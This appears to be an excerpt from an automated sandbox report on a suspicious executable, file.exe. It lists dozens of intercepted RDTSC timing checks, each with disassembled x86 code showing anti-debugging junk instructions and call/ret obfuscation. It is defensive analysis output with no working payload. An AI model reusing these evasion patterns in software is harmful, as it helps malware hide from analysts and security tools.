Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C29BA second address: 7C29BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4958 second address: 7C495C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C495C second address: 7C496A instructions: 0x00000000 rdtsc 0x00000002 je 00007F5ED52EEF76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C496A second address: 7C496E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C496E second address: 7C4998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F5ED52EEF83h 0x00000010 jmp 00007F5ED52EEF7Bh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C54A3 second address: 7C54A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C97A6 second address: 7C97AB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9907 second address: 7C990B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C990B second address: 7C9916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA940 second address: 7CA944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA944 second address: 7CA94D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC8F3 second address: 7CC924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007F5ED4EAF47Ah 0x0000000e nop 0x0000000f mov bx, ax 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D18D7h], eax 0x0000001a push 00000000h 0x0000001c xor edi, 058F2320h 0x00000022 xchg eax, esi 0x00000023 je 00007F5ED4EAF48Bh 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC924 second address: 7CC93C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5ED52EEF7Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE97A second address: 7CE987 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE987 second address: 7CE99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5ED52EEF7Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE99A second address: 7CE99F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE99F second address: 7CEA72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5ED52EEF76h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F5ED52EEF78h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 jbe 00007F5ED52EEF78h 0x0000002e mov ebx, esi 0x00000030 push dword ptr fs:[00000000h] 0x00000037 and ebx, dword ptr [ebp+122D3063h] 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 jmp 00007F5ED52EEF89h 0x00000049 mov dword ptr [ebp+122D18C7h], eax 0x0000004f mov eax, dword ptr [ebp+122D16E5h] 0x00000055 mov di, bx 0x00000058 push FFFFFFFFh 0x0000005a push 00000000h 0x0000005c push edi 0x0000005d call 00007F5ED52EEF78h 0x00000062 pop edi 0x00000063 mov dword ptr [esp+04h], edi 0x00000067 add dword ptr [esp+04h], 00000014h 0x0000006f inc edi 0x00000070 push edi 0x00000071 ret 0x00000072 pop edi 0x00000073 ret 0x00000074 or ebx, dword ptr [ebp+122D18FCh] 0x0000007a nop 0x0000007b jnl 00007F5ED52EEF93h 0x00000081 jnp 00007F5ED52EEF8Dh 0x00000087 jmp 00007F5ED52EEF87h 0x0000008c push eax 0x0000008d push eax 0x0000008e push edx 0x0000008f js 00007F5ED52EEF81h 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0923 second address: 7D093B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF484h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D093B second address: 7D0955 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5ED52EEF7Ch 0x00000008 jno 00007F5ED52EEF76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jbe 00007F5ED52EEF7Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0955 second address: 7D09A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop ecx 0x00000008 popad 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F5ED4EAF478h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 push 00000000h 0x00000026 stc 0x00000027 push 00000000h 0x00000029 mov edi, 1CB9050Bh 0x0000002e xchg eax, esi 0x0000002f pushad 0x00000030 jg 00007F5ED4EAF47Ch 0x00000036 pushad 0x00000037 push ecx 0x00000038 pop ecx 0x00000039 pushad 0x0000003a popad 0x0000003b popad 0x0000003c popad 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D09A2 second address: 7D09A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D09A6 second address: 7D09BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF485h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D09BF second address: 7D09C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1958 second address: 7D195C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3A2C second address: 7D3A8E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F5ED52EEF78h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 or ebx, 0909379Fh 0x00000029 push 00000000h 0x0000002b jnl 00007F5ED52EEF7Ah 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 call 00007F5ED52EEF78h 0x0000003b pop edx 0x0000003c mov dword ptr [esp+04h], edx 0x00000040 add dword ptr [esp+04h], 00000018h 0x00000048 inc edx 0x00000049 push edx 0x0000004a ret 0x0000004b pop edx 0x0000004c ret 0x0000004d xchg eax, esi 0x0000004e push eax 0x0000004f push edx 0x00000050 push ecx 0x00000051 push ebx 0x00000052 pop ebx 0x00000053 pop ecx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3A8E second address: 7D3ABD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F5ED4EAF476h 0x00000009 jmp 00007F5ED4EAF482h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F5ED4EAF47Ch 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3ABD second address: 7D3AC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3AC3 second address: 7D3AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5ED4EAF47Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3C33 second address: 7D3C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3C38 second address: 7D3C42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F5ED4EAF476h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3C42 second address: 7D3CC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F5ED52EEF81h 0x0000000e nop 0x0000000f cld 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F5ED52EEF78h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 add dword ptr [ebp+122D18C1h], eax 0x0000003e mov eax, dword ptr [ebp+122D1231h] 0x00000044 jmp 00007F5ED52EEF83h 0x00000049 push FFFFFFFFh 0x0000004b mov ebx, dword ptr [ebp+1245951Fh] 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 jng 00007F5ED52EEF76h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3CC2 second address: 7D3CC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5953 second address: 7D5957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5957 second address: 7D595B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D595B second address: 7D5961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5961 second address: 7D5986 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5ED4EAF48Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5986 second address: 7D598C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4B3D second address: 7D4B43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D598C second address: 7D5992 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4B43 second address: 7D4B5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5ED4EAF482h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6AB2 second address: 7D6AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6D32 second address: 7D6D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6D36 second address: 7D6D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6D3C second address: 7D6D42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA1C6 second address: 7DA1D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F5ED52EEF76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA456 second address: 7DA45A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E11C3 second address: 7E11C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0BBB second address: 7E0BC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E297E second address: 7E2986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2986 second address: 7E298B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E298B second address: 7E29A8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5ED52EEF7Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jnc 00007F5ED52EEF76h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jng 00007F5ED52EEF76h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E29A8 second address: 7E29B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7AD6 second address: 7E7AEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED52EEF82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7AEC second address: 7E7B0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 jmp 00007F5ED4EAF47Fh 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7BDB second address: 7E7BE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7C9E second address: 7E7CA3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE195 second address: 7EE19D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE19D second address: 7EE1A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE1A3 second address: 7EE1A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE1A9 second address: 7EE1AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1673 second address: 7C1677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED3BC second address: 7ED3C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED7CF second address: 7ED7D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDB16 second address: 7EDB2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5ED4EAF481h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDB2B second address: 7EDB2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDB2F second address: 7EDB38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDE84 second address: 7EDEB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 jg 00007F5ED52EEFB3h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5ED52EEF89h 0x00000014 jc 00007F5ED52EEF76h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5F70 second address: 7F5F76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5F76 second address: 7F5F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F5ED52EEF7Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C648B second address: 7C6507 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F5ED4EAF478h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D2FC6h], edi 0x0000002d sbb dl, FFFFFFF7h 0x00000030 lea eax, dword ptr [ebp+12488217h] 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007F5ED4EAF478h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 mov edi, dword ptr [ebp+122D2AFFh] 0x00000056 nop 0x00000057 jnl 00007F5ED4EAF483h 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 push ecx 0x00000062 pop ecx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6507 second address: 7A49D8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F5ED52EEF78h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 sub dword ptr [ebp+122D3757h], ebx 0x00000028 call dword ptr [ebp+124649EDh] 0x0000002e pushad 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C66DD second address: 7C6704 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007F5ED4EAF476h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F5ED4EAF483h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6704 second address: 7C670A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C699B second address: 7C699F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6A8D second address: 7C6A93 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6A93 second address: 7C6AA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6AA3 second address: 7C6AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6B43 second address: 7C6B5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF483h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6B5E second address: 7C6B62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6B62 second address: 7C6B97 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5ED4EAF476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 07BE0D87h 0x00000012 pushad 0x00000013 mov ebx, dword ptr [ebp+122D3398h] 0x00000019 mov esi, dword ptr [ebp+122D2CF7h] 0x0000001f popad 0x00000020 mov dword ptr [ebp+1245929Ah], eax 0x00000026 push 5F83B518h 0x0000002b push esi 0x0000002c pushad 0x0000002d jnc 00007F5ED4EAF476h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6C92 second address: 7C6C96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6CF0 second address: 7C6D4E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jne 00007F5ED4EAF488h 0x0000000e jmp 00007F5ED4EAF482h 0x00000013 xchg eax, esi 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F5ED4EAF478h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e stc 0x0000002f nop 0x00000030 jno 00007F5ED4EAF480h 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
